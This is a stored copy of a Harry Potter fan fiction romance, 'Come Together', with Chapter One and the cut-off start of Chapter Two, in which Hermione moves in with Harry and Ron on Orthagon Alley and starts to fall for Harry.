	(8, 1, '\n\n\n\n\n\n<b>Come Together</b><br><br>\n<b>Disclaimer:</b> This story is based on characters and \nsituations created and owned by JK Rowling, various publishers including but not \nlimited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner \nBros., Inc. No money is being made and no copyright or trademark infringement is \nintended.\n<br><br>\n~~~~~~~~~~~~~~\n<br><br>\n<b>Chapter One:</b> Orthagon Alley\n<br><br>\n<i>one and one and one is three</i> ~ The Beatles\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\nHermione could never say exactly when things started to change.\n<br><br>\nMaybe it was the day she\'d seen him in Orthagon Alley for the first time, his face glowing with happiness, a streak of dirt under one eye, his Quidditch robes stained with grass. She\'d definitely felt something then: an odd feeling, like her heart was quivering and about to burst.\n<br><br>\nShe\'d missed him at University, but then, she\'d missed Ron too. Yet every time she closed her eyes to think of Hogwarts, a pair of green eyes swam into her mind, unbidden. Green eyes, round glasses, black hair, a scar. \n<br><br>\nMaybe it began the summer after they graduated, after the Defeat, when Harry vanished for weeks at a time, not sending Owls, only to reappear at the Burrow looking thin and distracted. Ron would send Pig to her with short notes. &quot;He\'s back.&quot; &quot;Gone again.&quot;\n<br><br>\nShe didn\'t sleep much that summer. A part of her seemed to be missing.\n<br><br>\nBut maybe nothing had changed at all. Maybe it had always been this way, and she just hadn\'t noticed. \n<br><br>\nMaybe she hadn\'t wanted to notice.\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\nBut something had definitely been different on that late September day she\'d first seen Harry in Orthagon Alley. She\'d gone to pick up Ron from King\'s Cross that afternoon; Harry couldn\'t make it, since it was the team\'s first practice after two weeks of away games. He\'d promised to meet them at the house. Ron had stumbled off the train, his arms brimming with packages and luggage, looking even taller and thinner than usual, Pigwidgeon chirping excitedly in his cage. His face split into a grin when he saw Hermione, and he planted a brotherly kiss on her cheek as they juggled the packages and Pig\'s cage. \n<br><br>\n&quot;Too much bloody luggage to Apparate,&quot; Ron said as they made their way through the crowded station. &quot;Never knew I had this much junk.&quot;\n<br><br>\n&quot;Oh, you can always Apparate in later -- it\'s worth walking the first time,&quot; Hermione said, leading the way towards the street. &quot;The concealment spell on the street entrance is quite charming. Harry\'s been gone, but he should be back by the time we get home.&quot;\n<br><br>\n&quot;Home.&quot; Ron sighed and shook his head. &quot;That\'s a strange word for a place I haven\'t even seen yet.&quot;\n<br><br>\nHermione smiled. Oddly enough, though she\'d only been there a week, her new flat was already starting to feel like she\'d lived there for ages. Just knowing that Harry and Ron were living in the building, even if they weren\'t there yet, seemed to make all the difference.\n<br><br>\nIt had been over six months since Harry and Ron had seen each other, and at least three months since Hermione had seen Harry. It had been almost an entire mind-boggling year since the three of them had all been together. And now, their time apart was about to come to an end. With the news that Ron had accepted a new job in London as a Ministry Barrister, and that Hermione would be starting a new doctorate program at London\'s Hornswoggle University, Harry had wasted no time in finding the three of them a shared living space in the wizarding center of town. Tonight, they would be living under the same roof for the first time since they\'d left Hogwarts almost four years ago.\n<br><br>\nHermione and Ron had protested -- they knew Harry was always looking for an excuse to splurge a bit of his fortune on his friends. But Harry had insisted on buying a place. He had already been in London for two years, and knew the city better than either Ron or Hermione; and besides, he explained, he hated his current flat. Apparently his neighbors kept cats and his hallway always reeked of tunafish. \n<br><br>\nHermione hadn\'t bought that excuse, however. She knew Harry better than that.\n<br><br>\nIn any event, Hedwig had visited Ron and Hermione late that summer to deliver large yellow envelopes. Hermione had hardly been able to contain her excitement when she\'d opened her envelope to reveal a bright wizard photograph of a narrow brick apartment house. It looked quite old and charming, squashed between other similar houses, with white trim, a slate roof, and delightful bay windows nestled in its upper stories.  Hermione turned the photo over to read, &quot;231 Orthagon Alley, London.&quot; The envelope also contained a large brass key and a note in Harry\'s awkward uphill scrawl.\n<br><br>\n<i>Dear Hermione, Here it is! I really hope you both like the new place. It\'s in a great location, just around the corner from the Leaky Cauldron, and not too far from the Hornswoggle library. I hope you don\'t mind, I\'ve picked a flat for you -- the one on the top floor. It just reminded me of you.</i><br><br> Hermione grinned to herself.<br> <br><i>The key in the envelope is your key to the building and your flat. It\'s enchanted, so it will vanish the first time you use it, and you\'ll always have access to the building and to your own door. I\'ve modified the spell so that you and Ron also have access to my flat as well. Makes things easier. Anyway, I can\'t wait to see you both. Miss you more than I can say. Love, Harry.</i>\n<br><br>\n&quot;Hermione? Isn\'t this the street?&quot;\n<br><br>\nHermione blinked. She\'d almost walked right past their turnoff in her preoccupation, while Ron had been blithely chatting away. This wasn\'t like her at all.\n<br><br>\n&quot;Sorry! Sorry. I was just a bit turned around.&quot;\n<br><br>\nOr thinking about something else, more like. <i>Miss you more than I can say.</i>   Hermione flushed slightly and groped for a change of subject, realizing that she no longer knew what Ron had been talking about.\n<br><br>\n&quot;I\'d never heard of Orthagon Alley before I got Harry\'s Owl,&quot; she began quickly. &quot;I\'d heard of Origin Alley -- who hasn\'t, I mean, it\'s the posh place to live if you\'re a wizard in London. And I always assumed there were more concealed wizard neighborhoods in the city, but I hadn\'t heard of this one.&quot;\n<br><br>\nShe\'d lapsed into a recitation of facts because she was flustered. Still babbling after all these years.\n<br><br>\n&quot;Percy mentioned it once,&quot; Ron said, seemingly oblivious to her nervous chatter. &quot;I think it\'s very old. Not a lot of vacancies -- once people move in, they tend to stay. Probably because it\'s quite close to the good pubs.&quot; He winked.\n<br><br>\nHermione rolled her eyes, then looked up and stopped suddenly.\n<br><br>\n&quot;Wait -- I think this is it.&quot;\n<br><br>\nThe Leaky Cauldron was Hermione\'s landmark to navigate to the Orthagon Alley entrance; she led Ron on a series of small twists and turns through narrow residential streets and eventually came to a halt in front of an unremarkable row of flats.\n<br><br>\n&quot;See it?&quot; she said quietly. &quot;Unfocus your eyes a bit. It\'s an archway between those two buildings.&quot;\n<br><br>\nRon squinted, then nodded, and with a quick glance in both directions, the two of them stepped forward through the arch. It led to a small manicured garden with high walls on all sides; a fountain on one wall with a spouting stone fish provided the only noise. Hermione set down a suitcase, took out her wand, and tapped the fish twice. A portion of the back wall suddenly sprang aside, revealing a narrow alleyway.\n<br><br>\n&quot;Wicked,&quot; Ron murmured.\n<br><br>\nThe two of them walked through the entrance and under an old painted street sign that read &quot;Orthagon Alley&quot; as the wall slid into place behind them. Ron\'s eyes were wide.\n<br><br>\n&quot;Hermione, this is <i>amazing</i>. Look at this place!&quot;\n<br><br>\nHermione had to agree; she\'d spent a blissful week settling in, and each day had seemed more unreal than the next. The street was paved with cobblestones and lined on each side with a row of trees, which were currently showing off their finest display of brilliant fall color. The houses were squished together in a decidedly cozy way, and a few of them had small shops on the bottom floor with striped awnings. &quot;Walrymple\'s Market,&quot; read one sign. &quot;Dugbog\'s Books,&quot; said another. The alley ended in a cul-de-sac, with a large grassy park in the center. The park was crisscrossed with paved paths that wound their way among shade trees and benches.\n<br><br>\n&quot;That one,&quot; Hermione said, pointing.\n<br><br>\nRon did a little dance in the street.\n<br><br>\nThey rushed up the front steps of 231 Orthagon Alley, Hermione reaching for the doorknob. &quot;I can let us in, I\'ve already used my key -- &quot;\n<br><br>\nBut Ron was shifting packages in his hands so he could examine a large brass horn that was hanging on a scrolled hook next to the front door.\n<br><br>\n&quot;Is this what I think it is?&quot; he asked incredulously.\n<br><br>\nTruth be told, Hermione had spent at least twenty minutes gleefully examining the old butler\'s horn on the day she\'d arrived at the flat, but she found herself impatient with Ron\'s distraction. Harry would be home by now, and --\n<br><br>\n&quot;It\'s a butler\'s horn,&quot; she said quickly. &quot;Common in very old wizard houses, fell out of fashion about a hundred years ago. You talk into it and people in the building can hear your voice from little brass horns near the doors inside.&quot;\n<br><br>\nBabbling again. \n<br><br>\nRon chuckled. &quot;There\'s nothing you don\'t know, is there, Hermione? Let\'s see if this antique still works.&quot; Holding the horn to his mouth, Ron cleared his throat and spoke into it loudly. \n<br><br>\n&quot;Oi! Would this be the fine residence of the Boy Who Never Combs His Hair?&quot;\n<br><br>\nA loud and unmistakable whoop echoed from the dusty depths of the horn. Ron whooped back. Hermione was overwhelmed with a rush of happiness as something deep within her broke down in a wave that felt like relief. Her eyes stung with tears. \n<br><br>\nA moment later, the door to the house flew open, and a scarlet-and-white-robed blur shot from the doorway. Ron\'s packages were forgotten. Suitcases, supper, and a squawking Pigwidgeon hit the ground as Harry Potter, Ron Weasley, and Hermione Granger tangled themselves into a fierce six-armed hug.\n<br><br>\nThey pulled apart at a particularly loud squawk of protest from Pig, whose cage had landed sideways on the front stoop. Harry and Ron were laughing; Hermione, blushing, attempted to brush away the tears that were streaking her cheeks.\n<br><br>\n&quot;Oh, Hermione, don\'t cry,&quot; Harry said, reaching out to wipe her cheek with his thumb. His bright eyes met hers briefly and Hermione felt a jolt in the pit of her stomach. Her heart was pounding in her ears and she felt heat rise through her face. Why did she feel so odd? It was just Harry. Even though she hadn\'t seen him in months.\n<br><br>\nJust Harry.\n<br><br>\n&quot;Yeah, Hermione. You know we can\'t handle it when you cry,&quot; Ron said, beginning to gather his luggage. \n<br><br>\n&quot;Right,&quot; Harry said, scooping up Pigwidgeon\'s cage. &quot;It might make us start crying too, and then we\'d have to drink ale and eat spicy sausage for two weeks to reassert ourselves as men.&quot;\n<br><br>\n&quot;Don\'t forget the loud belching,&quot; said Ron.\n<br><br>\nHermione was laughing now, her heart still beating fast. She watched Harry\'s broad shoulders as he bent and straightened to pick up another suitcase. He turned and leaned against the front door to hold it open for them.\n<br><br>\nAn image of Harry from years ago suddenly swam into Hermione\'s mind. Harry, eleven years old, standing at Hogsmeade Station with Hedwig\'s cage, nothing but glasses and hair, skinny and small under his Hogwarts sweater. Hermione held the image in her mind next to Harry now, twenty-one, tall and solid and rougishly handsome, wearing his England Quidditch robes as if he\'d been born in them, standing in the doorway of a house he owned. \n<br><br>\nSame messy hair, same glasses, same jagged scar. Same look in the depths of his brilliant green eyes.\n<br><br>\nThis was still her Harry.\n<br><br>\nWhy, then, was her cheek on fire with the tingling imprint of his touch? \n<br><br>\n\n~ ~ ~ ~ ~\n<br><br>\nHermione\'s head felt oddly light as they climbed the stairs to Ron\'s flat on the second floor. Harry and Ron, here, now, after so long. The three of them had slipped into conversation with the ease of a favorite pair of old jeans, as if no time had passed at all since they\'d last been together. Hermione felt as if the past year apart had been a vivid dream from which she\'d just awoken, and that if she went upstairs to her own flat, her volumes of books from her old University would be gone. \n<br><br>\nEverything was the same, but something was different. \n<br><br>\nShe couldn\'t stop looking at him. \n<br><br>\nShe wanted to be next to him, to feel him lean into her, feel his hand on her shoulder, smell his familiar scent. Looking at him again was like drinking butterbeer on an icy day in Hogsmeade. It was like oxygen.\n<br><br>\nHad it always been like this?\n<br><br>\n&quot;Want to come and look around upstairs, then, Ron? My flat\'s on the third floor, Hermione\'s up top.&quot;\n<br><br>\nThey\'d finished depositing Ron\'s luggage in his flat, but Ron was still standing in the sitting room, mouth agape. \n<br><br>\nHarry was leaning against the doorframe, clearly enjoying every minute of Ron\'s reaction. &quot;You alright there, Weasley?&quot;\n<br><br>\n&quot;Shut up, you prat. Can\'t a fella have a look round his new flat for a few minutes?&quot;\n<br><br>\n&quot;It\'s been more than a few. And I need to shower and get out of these practice robes. Want to just meet at my place for supper?&quot;\n<br><br>\n&quot;Yeah, alright,&quot; said Ron. He blinked, then looked meaningfully at Harry. &quot;Hey, Potter,&quot; he drawled, his face breaking into a sly grin. &quot;Would those be... England Quidditch practice robes?&quot;\n<br><br>\nHarry ran a hand through his hair, and when he looked up, Hermione saw that he was blushing. \n<br><br>\n&quot;Why yes, I believe these are England robes.&quot;\n<br><br>\nRon had adopted his best impression of Professor Snape and was pacing the room.\n<br><br>\n&quot;Would you be wearing them, Potter... because... you actually play for England?&quot;\n<br><br>\nRon did a good Snape; Harry grinned and played along. &quot;Well, yes, sir.&quot;\n<br><br>\n&quot;You mean to tell me -- &quot; Ron turned to him triumphantly, waggling a finger -- &quot;You\'re the one and only first-string seeker for the finest Quidditch team in all the land?&quot;\n<br><br>\nHarry was a shade of red to match his famous robes. &quot;I, well -- it appears so.&quot;\n<br><br>\nRon dropped the facade and pulled Harry into a rough hug. &quot;Sorry, mate,&quot; Ron said, clapping him on the back. &quot;Some days I still can\'t believe it. I\'ve got to make you say it every so often, or it doesn\'t seem real.&quot;\n<br><br>\nHarry\'s meteoric Quidditch career did seem a bit surreal, even if no one was surprised when he began playing professionally. He\'d wandered aimlessly after Hogwarts, after the Defeat, haunted and uneasy. But after a year\'s time, Harry settled in a shabby London flat, content for the moment to reflect and write letters. One day he\'d quietly gone to Quidditch trials for the local team, Puddlemere United, and was immediately signed as Seeker. \n<br><br>\nIt had been some time since he\'d last played Quidditch, and he still looked shaky that season, as if he never slept. But he\'d flown like no Seeker ever had, and led Puddlemere to an undefeated record and their first league victory in ten years. The morning after their final match, he\'d gotten a call from Morris Whiggam, the coach of England\'s national team. With Harry aboard, last year had been England\'s best season in decades, and The Boy Who Lived, recently The Boy Who Defeated You-Know-Who, was now The Boy Who Saved The National Team. If it hadn\'t been for a painful loss to Ireland in the finals, they would have gone straight to the Cup.\n<br><br>\nHarry stepped back and caught Hermione\'s eye; his look was unreadable. Hermione felt an odd disconnect, then realized why. She usually knew what Harry was thinking. \n<br><br>\n&quot;I hope you both don\'t mind,&quot; he said quietly. &quot;Living with me, I mean. It\'s not exactly low-profile.&quot;\n<br><br>\nSo that was it. \n<br><br>\n&quot;Of course not, Harry,&quot; Hermione began.\n<br><br>\n&quot;Come on, Harry, don\'t be silly,&quot; said Ron. &quot;I\'m used to it anyway. I almost went into it professionally, you know -- Ron Weasley, Sidekick to the Stars.&quot;\n<br><br>\nHarry was grinning again. &quot;So you\'ll be okay with it, then.&quot;\n<br><br>\n&quot;Oh get out,&quot; said Ron, smiling back.\n<br><br>\nSurprised at her own boldness, Hermione reached out and caught Harry\'s hand in her own. She squeezed it.\n<br><br>\n&quot;Very okay,&quot; she said.\n<br><br>\nHarry\'s eyes met hers. He squeezed back.\n<br><br>\n&quot;I mean it, though,&quot; said Ron. &quot;Get out. You definitely need a shower, Potter.&quot;\n<br><br>\n\n~ ~ ~ ~ ~\n\n<br><br>\nThe sanctity of her own flat was both welcoming and terrifying. Welcoming, because it was a chance to straighten her thoughts, which were clearly in need of organizational attention. Terrifying, because in every room of the flat, Hermione thought of Harry. <i>It just reminded me of you,</i> he\'d said in his letter.\n<br><br>\nIt was quite a compliment. The flat, on the top floor of the building, was nestled among the eaves of the roof like a contented cat, all funny angles and cozy corners. It was  slightly smaller than Harry and Ron\'s flats, but it was filled with large south-facing bay windows and built-in bookshelves. Best of all, underneath the bay window across from the sitting room fireplace was a windowseat with giant pink-and-white striped cushions. Crookshanks was curled up on the seat in the fading golden light, and began to purr contentedly as Hermione entered the room.\n<br><br>\nShutting herself into the bathroom, which had a lovely claw-footed bathtub -- <i>it just reminded me of you</i> -- Hermione splashed water on her face and attempted to smooth down any wild curls that had escaped into frizz. She\'d pull herself together, go back downstairs, and everything would be normal. She was a very logical person, after all, and her feelings could be explained. She was just a bit overwhelmed and happy to see her best friends again. It was causing her to focus on Harry. That was all. \n<br><br>\nRon was already in Harry\'s flat by the time Hermione came downstairs, pulling packages out of a lumpy shopping bag and rummaging in the kitchen cabinets. The flat was filled with the unmistakable aroma of Molly Weasley\'s famous fried chicken, which brought an instant smile to Hermione\'s face. Summer nights at the Burrow, eating cold drumsticks and drinking apple cider on the back porch, Harry on one side, Ron on the other. The faint sound of explosions somewhere in the distance -- Fred and George at work on some new bit of terror. And the muttering of garden gnomes as they made their way stealthily back into Mrs.Weasley\'s tomato patch.\n<br><br>\n&quot;I hope your mum knows how much I\'ve missed this chicken.&quot;\n<br><br>\nRon looked up and grinned, handing Hermione an empty salad bowl and a damp head of lettuce as she approached the kitchen counter. &quot;Oh, she knows all too well. She was hoping it would lure the two of you back to the Burrow for the holidays.&quot;\n<br><br>\nHermione smiled. &quot;It\'s a distinct possibility.&quot;\n<br><br>\nRon was now piling the steaming chicken onto a plate; it was still hot, thanks to Mrs.Weasley\'s warming charm. He waggled his eyebrows at Hermione and licked his fingers, then reached for a piece that had fallen from the plate.\n<br><br>\n&quot;Ron!&quot;\n<br><br>\nRon ignored her disapproving look. &quot;Y\'know, after all that\'s happened, I can\'t believe we\'re here. We\'re living together and having bloody Sunday dinner.&quot;\n<br><br>\n&quot;It\'s Friday.&quot;\n<br><br>\n&quot;You know what I mean, \'Mione.&quot;\n<br><br>\nHermione felt her heart swell. &quot;I do. Believe me, I\'ve been thinking about it all day. I couldn\'t wait for you both to be here.&quot;\n<br><br>\n&quot;I know. Just the three of us.&quot; Ron rolled a tomato across the counter and passed Hermione a knife. &quot;I\'ve been nervous about my job, and I hadn\'t even seen my own flat, but now... now it\'s like I\'m home, or something.&quot; He held out his arms to Hermione, grinning. &quot;C\'mere.&quot;\n<br><br>\nHermione moved into Ron\'s embrace, laughing as he made a big show of not touching her with his chicken-covered hands. Her head almost reached the center of his chest; he was now nearly a foot taller than she was. He smelled gingery, familiar, sweet. She didn\'t feel dizzy just having him near; she didn\'t feel like his touch would make her tremble. He just felt like Ron. Good, Hermione thought. I must be feeling better. I must have gotten over whatever was wrong with me earlier. \n<br><br>\nRon gave her a long squeeze, then broke away, grabbing a dishtowl to wipe his fingers. &quot;Check for salad dressing, will you? I\'m a bit afraid to open Harry\'s fridge.&quot;\n<br><br>\n&quot;Oh, so you want me to do it then? Thanks.&quot;\n<br><br>\n&quot;You always had a stronger stomach in Potions.&quot;\n<br><br>\nHermione sighed. &quot;I\'ll do it. You finish setting out the bread.&quot; \n<br><br>\nThere was nothing frightening immediately visible in Harry\'s refrigerator, but Hermione had to bite her lip to keep from laughing as she swung open the refrigerator door -- the contents were so undeniably Harry. Milk, a six-pack of Broomstick Bitter with two bottles gone, and a half-empty package of Irish-style bacon. Further investigation revealed three eggs, an ancient paper box that may have once contained Chinese takeout, a bottle of catsup, and two chocolate frogs. \n<br><br>\n&quot;Out of luck,&quot; Hermione said, closing the fridge. &quot;Unless you want catsup on your lettuce, that is.&quot;\n<br><br>\n&quot;Let me guess. Milk, beer, and sausage?&quot;\n<br><br>\n&quot;Bacon today. And two chocolate frogs.&quot;\n<br><br>\n&quot;Serious?&quot;\n<br><br>\n&quot;Don\'t you go eating them, Ron, it\'s half the food in there.&quot;\n<br><br>\n&quot;I won\'t.&quot; Ron grabbed his coat from the back of one of Harry\'s kitchen chairs. &quot;I\'ll just pop down to the store and get some dressing then. Back in a flash.&quot;\n<br><br>\nHe did mean it. With a soft &quot;pop,&quot; Ron vanished, leaving Hermione alone in the kitchen.\n<br><br>\nShe found her eyes moving around the room, taking in Harry\'s flat properly for the first time. The kitchen was on the small side, but functional, with a tall counter partially separating it from the sitting room, and a table with four chairs in front of one large bay window. Hermione guessed that one of the reasons Harry had chosen this flat was its open layout -- high ceilings, big windows, and a large sitting room fireplace. Roomy, but comfortable. Hermione saw a row of frames arranged haphazardly across the fireplace mantle, and wandered closer to get a better look.\n<br><br>\nShe almost teared up again. In almost every frame, beaming happily and waving, were images of herself and Ron, sometimes with Harry as well. There was a photo of Harry\'s parents, James Potter looking even more like Harry than ever before, and one of Hagrid, with his arm around Madame Maxime, now the new Mrs.Hagrid. One of Dumbledore, eyes twinkling as usual, and one of all the Weasleys together. One of a certain large black dog. And one -- Hermione lifted the frame to peer at it. One of herself, alone, possibly in the Gryffindor common room. She looked lost in thought, reading a large musty volume. Colin must have taken the photo without her knowing, trying to catch the bookworm in action. How embarassing. Why would Harry keep this old thing?\n<br><br>\n&quot;Is that <i>THE</i> chicken?&quot;\n<br><br>\nHarry\'s shout came from the bathroom, his voice echoing. He must still be in the shower. Hermione\'s pulse quickened. Stop it, Hermione, she thought. You\'ve seen Harry Potter half-naked dozens of times. He\'s seen you in a bathing suit and wrapped in a towel. He has buttoned and zipped you up the back if you couldn\'t do it yourself. Just pull yourself together.\n<br><br>\n&quot;If you mean Mrs.Weasley\'s chicken, then yes,&quot; Hermione called back, trying to steady her voice, which seemed shakier than usual.\n<br><br>\n&quot;Thought so. Can smell it from here. Be right out!&quot;\n<br><br>\n&quot;Take your time, Ron\'s gone to the -- &quot;\n<br><br>\nThe bathroom door flew open, and Hermione\'s voice took a quick holiday in mid-sentence as Harry stepped out, a towel wrapped around his waist. He was attempting to comb his wet hair into submission, and at first Hermione saw nothing but his scar, the jagged line that ran angrily down one side of his forehead and nearly into one dark eyebrow. And then, seemingly by accident, Hermione\'s eyes wandered hungrily to the rest of Harry, who suddenly did not look  at all like the boy she\'d seen half-naked before.\n<br><br>\nHarry had always seemed endearingly fragile to Hermione, his small, thin frame belying a deep strength that could only be seen on the Quidditch field, or when fighting some manifestation of evil. He was mostly ribs and bony knees, and always looked as if he needed an extra helping of supper, no matter how many extra helpings Mrs.Weasley heaped onto his plate.\n<br><br>\nBut now --\n<br><br>\nTo say Harry had filled out considerably wouldn\'t have accurately described the change; he\'d left behind &quot;painfully thin&quot; and &quot;skinny&quot; and settled comfortably into &quot;athletic&quot; and &quot;slender.&quot; It had been apparent under his robes, but Hermione drank in the evidence for the first time, her eyes travelling over his broad shoulders, the smooth muscles of his chest, the strength visible under his pale, cool skin. She felt warmth build somewhere inside and spread quickly up to her cheeks, which instantly blazed with color.\n<br><br>\nShe felt Harry\'s eyes on her, and looked up to see that he\'d gone just as red as she had. \n<br><br>\nBloody hell, she\'d embarrassed him by blushing. What was the matter with her?\n<br><br>\nHarry coughed and set down his comb, glancing around the flat. &quot;Er, where\'s Ron?&quot;\n<br><br>\n&quot;I\'m sorry,&quot; she said, not knowing why she was apologizing, not able to meet his gaze. Her cheeks still felt hot. &quot;He went to the store to get something.&quot;\n<br><br>\nAs if on cue, a soft &quot;pop&quot; told Hermione that Ron was back. She turned to see him shrugging off his coat in the kitchen, and felt herself go limp with relief. \n<br><br>\n&quot;Got the dressing. You didn\'t have much of a selection, Harry -- but good Lord, what has that team been feeding you? Because I think I need some of it.&quot;\n<br><br>\nRon was staring at Harry now, which filled Hermione with even more relief. See, Harry\'s really changed, she thought. I couldn\'t help reacting. She stole another glance at Harry and took a deep breath. \n<br><br>\nShe still wanted to reach out and touch every inch of him.\n<br><br>\nNot good.\n<br><br>\nHarry chuckled. &quot;Too much butterbeer, most likely.&quot;\n<br><br>\nRon grinned. &quot;I don\'t think so. Looks like a steady diet of exercise, and a whole bloody lot of it.&quot;\n<br><br>\n&quot;I hope that\'s it. I\'ve put on more than a stone since I moved to London.&quot;\n<br><br>\n&quot;Well you certainly don\'t fly any slower for it,&quot; Ron said. &quot;You\'re even faster now, and you know it.&quot;\n<br><br>\nHarry smiled wryly. &quot;Easier to dive when gravity\'s got a better hold on you, maybe.&quot;\n<br><br>\n&quot;Oh, hush,&quot; Hermione said, suddenly feeling the need to shift the topic far away from Harry\'s physique, the image of which was now seared in her mind like a photograph. &quot;Let\'s not talk about putting on weight since school, I\'ve been terrible.&quot;\n<br><br>\nRon laughed. &quot;Oh come off it, Hermione.&quot;\n<br><br>\nShe expected to hear Harry\'s easy laugh in response, and found herself looking up at him when it never came. He was staring at her solemnly, his green eyes fixed on hers. Her heart stopped.\n<br><br>\n&quot;I think you look wonderful,&quot; Harry said.\n<br><br>\nThe room fell silent. Harry\'s gaze didn\'t waver; for a long moment, Hermione looked back at him, forgetting to breathe, her cheeks tingling with color again.\n<br><br>\nHarry blinked suddenly and ran a hand through his hair. &quot;What am I doing? Standing around in a towel when there\'s Weasley chicken getting cold in the kitchen, that\'s what. Sorry, be right back.&quot; He vanished into the bedroom, leaving Hermione staring at the place where he\'d just been standing.\n<br><br>\nRon cleared his throat. &quot;Hermione? Want to dress the salad?&quot;\n<br><br>\nShe\'d been thinking more of undressing Harry, but nearly jumped when she realized it. Good Lord. &quot;Oh! Yes. Sorry.&quot;\n<br><br>\n&quot;You okay?&quot;\n<br><br>\n&quot;F-fine.&quot; Hermione was making a mental note to send herself to bed with a hot cup of tea as soon as they were done with supper. &quot;Bit spaced out. Long day.&quot;\n<br><br>\nRon nodded, setting out silverware. &quot;Are your classes very hard? I can\'t believe you\'re going for a second degree.&quot;\n<br><br>\n&quot;Hard, yes, but very interesting. I have some wonderful professors so far.&quot;\n<br><br>\nRon smiled and gave her a poke as she set the salad bowl on the table. &quot;You do like those professor types, eh?&quot;\n<br><br>\nHermione poked him back. &quot;It\'s not like that, and you know it. David\'s been the only one.&quot;\n<br><br>\n&quot;So far.&quot;\n<br><br>\n&quot;Ron!&quot;\n<br><br>\n&quot;Just saying...&quot;\n<br><br>\n&quot;Oh, how about you, then? Please, do enlighten me with regard to your fabulous love life.&quot;\n<br><br>\nRon grinned. &quot;It\'s been dismal, thanks. The only kicks I get these days involve torturing you about your taste in men.&quot;\n<br><br>\nHarry emerged from the bedroom, ruffling his messy hair, clothed now in a navy jumper and old jeans. &quot;What\'s this, then? Are we talking about Ron\'s love life?&quot; He pulled up a chair at the table as the three of them sat down; Ron pretended to toss a piece of chicken at him. \n<br><br>\n&quot;Nothing to talk about,&quot; Ron said, putting the drumstick on his own plate and helping himself to salad. &quot;I think Ginny\'s got a new love interest, though. You\'ll never believe it. She\'ll kill me if I tell you.&quot;\n<br><br>\nHarry and Hermione stared at Ron expectantly.\n<br><br>\nRon looked innocent.\n<br><br>\n&quot;So are we supposed to <i>not</i> kill you after you say something like that?&quot; Hermione began, as Harry chuckled.\n<br><br>\n&quot;Okay, you twisted my arm.&quot; Ron lowered his voice in a conspiratorial whisper. &quot;It\'s... Colin Creevey.&quot;\n<br><br>\n&quot;Really?&quot; Hermione and Harry chorused together. The three of them broke into laughter.\n<br><br>\nAnd for a little while, they were the Trio, sharing supper, exclaiming about Ginny\'s unlikely romance, washing dishes, as Hermione tried to forget about what had been causing her heart to pound that afternoon, tried to relax and focus on the smiling faces at the table, her two oldest and dearest friends. Just friends.\n<br><br>\nIt was only back in her own flat, after a hot cup of tea and a long bath, as she lay awake in bed and saw only Harry, that Hermione knew nothing would ever be the same.\n<br><br>\n~ ~ ~ ~ ~\n\n\n\n\n\n'),
	(8, 2, '\n\n\n\n\n\n<b>Come Together</b><br><br>\n<b>Disclaimer:</b> This story is based on characters and \nsituations created and owned by JK Rowling, various publishers including but not \nlimited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner \nBros., Inc. No money is being made and no copyright or trademark infringement is \nintended.\n<br><br>\n~~~~~~~~~~~~~~\n<br><br>\n<b>Chapter Two:</b> Just a Moment\n<br><br>\n<i>home - is where i want to be<br>\nbut i guess i\'m already there<br>\ni come home - she lifted up her wings<br>\ni guess that this must be the place<br>\ni can\'t tell one from another<br>\ndid i find you, or you find me?<br>\nthere was a time before we were born<br>\nif someone asks, this is where i\'ll be<br><br></i>\n-- &quot;This Must Be The Place,&quot; Talking Heads\n<br><br>\n~ ~ ~ ~ ~\n<br><br>\nThe morning light in Hermione\'s kitchen was as buttery as toast, and the kettle was merrily boiling as a large brown barn owl dropped lightly onto the table with the Daily Prophet. The owl waited patiently as Hermione fished out a small treat from a jar on the kitchen counter, and nipped her affectionately on the finger before taking flight again. Tea, milk, sugar. Hermione settled at the table with a steaming mug, Crookshanks twining happily around her feet. It was a perfect morning. \n<br><br>\nHermione was utterly distracted.\n<br><br>\nAnyone would be distracted, she thought, if they\'d been up half the night trying not to think about their best friend half-naked and wrapped in a towel.\n<br><br>\nOnce she realized she couldn\'t stop thinking about Harry, she had panicked. Why was she thinking about Harry? What did it mean? Why couldn\'t she stop?  Then she\'d realized that this line of thought was still causing her to think only of Harry. Thinking about Harry made her think about thinking about Harry. \n<br><br>\nShe was overanalyzing. It had always been a specialty of hers.\n<br><br>\nSod it. Her fixation could be easily explained; there was really nothing to worry about. She was living with Harry after years apart. She\'d been worried about him ever since the Defeat. She\'d been worried about him for years even before the Defeat. In fact, she had probably spent a good deal of her waking hours worrying about Harry ever since she was eleven years old. Her focus on Harry was just an old habit taking a slightly odd turn. What she needed was a bit of time to unwind in this new living arrangement, a bit of time to focus on herself for a change. That was all.\n<br><br>\nHermione took a deep breath and sipped her tea, unrolling the Daily Prophet. She\'d have a leisurely breakfast, take a shower, wander over to the library or the bookshop, maybe do a bit of reading for Monday\'s lecture. She would absolutely not think about towels. Or Harry.\n<br><br>\n<i>Crystal-Gazers Predict World Cup Win for England</i>, the headline read. <i>Potter\'s Skill Should Tip the Scales</i>.\n<br><br>\n<i>With playoffs set to begin in a few weeks\' time, Diviners all across the wizarding world are picking England to triumph in this year\'s World Cup. Sibyll Trelawney, Professor of Divination at Hogwarts School of Witchcraft and Wizardry, has told the Daily Prophet that she envisions a victory for the team. &quot;It is unavoidable that their Seeker should meet with an accident,&quot; said Trelawney. &quot;But it looks as if Mr.Potter may avoid death until after the final match, which gives England a strong positive aspect in the lunar charts.&quot;</i>\n<br><br>\nA soft knock echoed through the kitchen. &quot;Hermione?&quot;\n<br><br>\nHarry.\n<br><br>\nMerlin\'s beard.\n<br><br>\n&quot;Just a minute,&quot; Hermione called, her voice cracking slightly as she fumbled for her wand, which was somewhere in the deep pockets of her flannel dressing gown. With an unsteady flick of her wrist the flat door swung open, and Harry was there, smiling shyly.\n<br><br>\n&quot;This a bad time?&quot;\n<br><br>\n&quot;No, not at all.&quot; Hermione suddenly needed something to do with her hands; she stood and bustled around the kitchen, fumbling with the kettle. &quot;I was just making tea. Can I make you some?&quot;\n<br><br>\n&quot;Sure, thanks.&quot; Harry pulled out a chair at the table and sat down, gazing around the flat. His hair was rumpled with sleep, and he was wearing track pants and an old T-shirt that read, &quot;Weasley\'s Wizard Wheezes: One Big Joke of a Shop.&quot; Hermione felt herself smiling. It was just Harry. How long had she known him now? Ten years?\n<br><br>\n&quot;The place looks amazing, Hermione. Really does.&quot; Harry was gazing appreciatively at her book-lined shelves and the squashy armchairs she\'d found for the sitting room.\n<br><br>\n&quot;Oh, thank you! I just love it -- It\'s 